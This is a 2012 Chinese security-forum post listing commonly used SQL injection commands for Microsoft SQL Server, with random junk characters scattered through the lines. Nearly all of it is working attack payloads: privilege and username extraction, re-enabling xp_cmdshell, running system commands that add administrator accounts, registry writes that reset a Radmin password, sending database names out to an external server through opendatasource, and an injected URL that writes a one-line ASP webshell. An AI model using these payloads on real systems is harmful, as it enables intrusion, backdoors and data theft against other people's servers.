找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1842|回复: 0
打印 上一主题 下一主题

阿D常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:26:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
阿D常用的一些注入命令: V+ g7 F- m7 C5 a- g+ t
//看看是什么权限的
$ Y5 C# K% }1 b2 oand 1=(Select IS_MEMBER('db_owner'))
$ O2 K; }/ a" H9 `2 }6 T8 qAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
) I* X$ o3 h" s9 o; D, @
7 k9 \& W" K* _5 x: N! a( I+ F//检测是否有读取某数据库的权限
' G6 {+ C1 I- tand 1= (Select HAS_DBACCESS('master'))7 d0 X2 T6 C8 s" D+ L. f
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --8 k- T# n5 a5 \5 w4 s' z4 c5 O
" M4 k6 s9 M/ Y* `0 ^9 l9 L" Z
2 S/ R% m4 _. J% W& S9 C
数字类型7 ]0 h! f9 t& ]. ?. I
and char(124)%2Buser%2Bchar(124)=0( ]- c8 ?: V& m! f9 M
: N' R1 X/ D5 c8 v
字符类型+ b( B& K0 h* o* s5 @/ K
' and char(124)%2Buser%2Bchar(124)=0 and ''='
- S8 F: v0 k/ r2 `
% E7 J/ [2 U7 |; E& j0 k+ N* Z: P搜索类型0 l  p2 J) w1 S# C) m, ?; x
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
& J7 O; d1 Y" G; A& P2 C6 P" Q  N2 E3 N3 q
爆用户名
3 }' l2 N: K3 ~9 m) T- U- Kand user>0
1 D$ q3 c8 Y0 n$ w7 a8 K6 N' and user>0 and ''='
. ]6 s: s" Z# p. F" c
. |4 d, h# S3 T检测是否为SA权限
. X4 j1 \; a2 \6 g) z. ?8 F0 wand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
) t$ [4 S" ^# c/ _" g- xAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
8 m" S: z" x% R0 l+ o5 \7 {" w1 D3 J/ T. l
检测是不是MSSQL数据库4 F2 E! U: C1 w, O: W) b# s, ?& A! R& f
and exists (select * from sysobjects);--
3 G; u$ f* k0 C1 B6 _7 ]1 r: U2 f1 e( _; ^- @& \. E, e1 }  r; \
检测是否支持多行( p- w/ h+ K3 d& F+ y. D% N$ _
;declare @d int;-- . }/ V/ j# a# J4 H2 ^* F

! S, b) W' O4 k7 |, l9 n! q恢复 xp_cmdshell$ Z' n& P+ b4 E  `9 Q  J) i5 p
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
5 Q! F5 w9 ~* F$ P) z' c: A! o0 n" r' j
' f+ ~3 }4 s) R% V7 P3 a9 r  o
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') + F7 Y, j+ `" P* [/ ^5 R. ]2 z: X
8 S1 Z% T3 q! S7 w/ F& [- K; K5 K
//-----------------------
$ y$ ^" u4 r' d9 @4 c. V//      执行命令
% A: l$ L  S! e9 d) w$ n$ ~//-----------------------
" h5 J+ F1 @+ G* h, j+ s首先开启沙盘模式:
% A1 H3 e* B9 Y. N9 z- hexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1- {# I! ]6 v6 q9 W8 w

' a! i& I- T' ?- B2 a% t, J- C然后利用jet.oledb执行系统命令
" y/ b, l* [. {/ K4 i2 ~; Cselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
! O, m0 r6 R5 a  X0 g8 a; G# v0 E% z- l4 s+ L" E) g
执行命令' {3 ?) ?# c. o/ c4 d5 \7 Z
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--1 a/ W# B, [, H+ i
0 k3 N; d# Z2 Y( R' Y1 u
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
! ]: g1 a& g( I6 }2 S0 Y, v) A7 X. A! L. O) A+ J/ P' g4 t! L
判断xp_cmdshell扩展存储过程是否存在:
1 |) U+ ?& D: ~% t8 Mhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')+ R) B4 e; k; X! L: Z8 j- E% s

* b6 P  [# P/ w# k9 S( x% Y写注册表" q( x$ X/ m  g# t7 n9 I: _
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
0 u$ S+ Q+ T0 a6 e
) N5 |  e2 ^( i0 c5 ]REG_SZ
5 g+ ]! n8 c0 s4 k: G( m/ I9 M; |9 N" l0 W$ W
读注册表% M/ B$ S: O( v+ ]8 z  Y
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
) }7 m; x% {4 D" G( w9 i, e
% }3 g. U7 m, m) P读取目录内容
: {/ R& \$ J" d' s+ t* Texec master..xp_dirtree 'c:\winnt\system32\',1,1
, o" d) ^# E5 a# k8 H& }8 `' i) ~
' V. h2 G; h& \6 j/ R' t
数据库备份3 _! J) L0 b& K; n( g
backup database pubs to disk = 'c:\123.bak'
6 V0 e& C( g+ y1 a) Q4 o1 W$ n& U4 M# ~9 _' B2 r* e6 r: d/ |, o
//爆出长度
2 B4 F6 D# F8 P3 {And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
! \2 v8 S; n- ], d3 R; P+ |: Z, M  d. P/ j3 C
5 K9 W; m( x# }0 ^( ]

0 k/ h( V  L! ~/ b- ]1 L* e更改sa口令方法:用sql综合利用工具连接后,执行命令:
. C1 Z) \/ ]" u7 oexec sp_password NULL,'新密码','sa'
/ ^3 _2 X/ Q8 s6 y+ C3 Z! E* b9 Y
+ F+ m. w0 U* a添加和删除一个SA权限的用户test:% q; E. T9 }1 m# a0 B! I
exec master.dbo.sp_addlogin test,ptlove2 V+ ^: w6 l' M
exec master.dbo.sp_addsrvrolemember test,sysadmin7 A0 W; `# f# o  a' x' n

. Q7 A8 N0 x  Q# x6 X删除扩展存储过过程xp_cmdshell的语句:
* B7 ^7 Q9 I% M, W) r0 ?exec sp_dropextendedproc 'xp_cmdshell'% }- {2 `, w) J7 Y4 H
, d3 m2 e8 V7 P7 |" s
添加扩展存储过过程, I: C/ O% }$ G/ b
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' 8 k5 l: R& [" U+ p. y
GRANT exec On xp_proxiedadata TO public 7 ]0 D& x  }& D! o' d$ t

  N& I: T  l5 n, u+ B3 x+ N8 H" N3 x) A  s0 @
停掉或激活某个服务。
/ a; {1 j6 @, w+ M* N$ }- W% u
( g0 A$ r# r$ c+ e( Wexec master..xp_servicecontrol 'stop','schedule'
; ~$ s2 r' J6 w$ I. g# z( I+ @5 X) Cexec master..xp_servicecontrol 'start','schedule'
$ l1 c# d6 Y: V7 i  b
8 z3 e0 X) [# N8 S# R. \2 jdbo.xp_subdirs
0 h% O' x4 i1 w7 o  [
8 _2 d7 Y0 _# [5 x% x只列某个目录下的子目录。
4 `% W; M. m7 e. Z  zxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'& w) |" }! K. N) L5 T" \3 H% T) A

7 P* ^! p% t, @) q* ^- P1 Jdbo.xp_makecab) C# k; K* l2 U2 R; U! c) u/ _

( C$ k( p  {; z! x7 f" F将目标多个档案压缩到某个目标档案之内。# P* D; U4 {- b
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。( m/ c$ }6 M2 ?5 Y& m( R, @6 V0 ]/ U

% _3 n) c% n5 I: B* I& Odbo.xp_makecab
8 ?  E% u* R. C6 T9 ['c:\test.cab','mszip',1,4 i1 T/ O( T; X' H
'C:\Inetpub\wwwroot\SQLInject\login.asp',0 v3 v- Q2 F- l% C+ k
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
* x9 }  r: m* H0 j: n
: A$ |3 k) g! B8 U- jxp_terminate_process) U; W' L2 R/ m$ S( o: n

( G' l" s2 ~3 |! y% Q停掉某个执行中的程序,但赋予的参数是 Process ID。
, [4 j( w- O* u) g利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID" p5 Y. s3 ?/ U$ e
9 L& W$ n. S; ?" p2 m9 b$ `( h
xp_terminate_process 2484
( j2 E. f& d# G0 K, T. B3 D. F& [1 y7 G2 e( k
xp_unpackcab9 s9 i/ H" w) l; x0 g8 g1 R
7 g8 N( o# j. C: `2 O. D. E
解开压缩档。
: y* J7 s/ x: M2 i" t1 }! R! B# Z1 |+ A% p9 O& C4 p) V0 t8 G
xp_unpackcab 'c:\test.cab','c:\temp',1
6 e, |- L" L% X, X# G4 o5 m# ~# ^6 L, O2 G7 H0 b4 i

( M' a2 X% j; W& Q! m3 M某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
# Q3 \/ `) Q4 J% A- w
& G' Q; ]" [7 `, Q6 bcreate database lcx;
+ Q& B# R  f1 c% S! D/ gCreate TABLE ku(name nvarchar(256) null);
. O2 z3 X0 R, `. C# ^Create TABLE biao(id int NULL,name nvarchar(256) null);" Y0 w3 k' v) K' {$ p' |; B+ O

! h# a) I) [4 G/ l# [//得到数据库名- _: y9 p* G- }. g
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases& _1 c2 ~' o9 G

# ^/ m7 j$ n" e, Y  I
+ b4 }- l- [* ]//在Master中创建表,看看权限怎样3 A0 e" ?) u& \% U
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
# b' v  m' @0 S. T4 q& j1 F. U: w6 A# Z5 m- R6 a7 f5 E# J
用 sp_makewebtask直接在web目录里写入一句话马:
2 f4 Y% I  N: F" e. j2 U8 K! X+ K( f( whttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--% T) I7 }" N! L6 o! I4 j8 Q

( J; m" }' w& }+ c//更新表内容
' s4 E/ x8 T& Q# k7 ~! aUpdate films SET kind = 'Dramatic' Where id = 123" R* w' f9 j& ]; ~. m* r

" F( ?, m- s% K: I! o- N//删除内容( s0 I3 K1 o( \) z
delete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表